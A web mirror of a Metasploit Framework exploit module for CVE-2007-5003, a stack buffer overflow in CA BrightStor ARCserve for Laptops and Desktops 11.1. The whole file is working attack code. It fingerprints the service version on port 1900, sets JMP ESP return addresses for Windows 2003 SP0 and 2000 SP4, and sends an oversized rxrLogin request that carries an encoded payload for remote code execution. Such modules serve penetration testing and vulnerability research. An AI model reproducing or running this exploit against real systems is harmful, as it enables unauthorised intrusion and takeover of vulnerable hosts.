CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
16
for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
17
overflow the buffer and execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2007-5003' ],
24
[ 'OSVDB', '41353' ],
25
[ 'BID', '24348' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
},
32
'Payload' =>
33
{
34
'Space' => 550,
35
'BadChars' => "\x00",
36
'StackAdjustment' => -3500,
37
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
43
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
44
],
45
'DisclosureDate' => '2007-06-06',
46
'DefaultTarget' => 0))
47
48
register_options([ Opt::RPORT(1900) ])
49
end
50
51
def check
52
connect
53
54
sock.put("0000000019rxrGetServerVersion")
55
ver = sock.get_once
56
57
disconnect
58
59
if ( ver and ver =~ /11\.1\.742/ )
60
return Exploit::CheckCode::Appears
61
end
62
return Exploit::CheckCode::Safe
63
end
64
65
def exploit
66
connect
67
68
buffer = rand_text_alpha_upper(17420) + [target.ret].pack('V')
69
buffer << payload.encoded + rand_text_alpha_upper(300)
70
71
sploit = "0000018124" # Command Length Field
72
sploit << "rxrLogin" # RPC Command
73
sploit << "~~" # Constant Argument Delimiter
74
sploit << buffer # Argument
75
76
print_status("Trying target #{target.name}...")
77
# One-shot overwrite...
78
sock.put(sploit)
79
80
handler
81
disconnect
82
end
83
end
84
85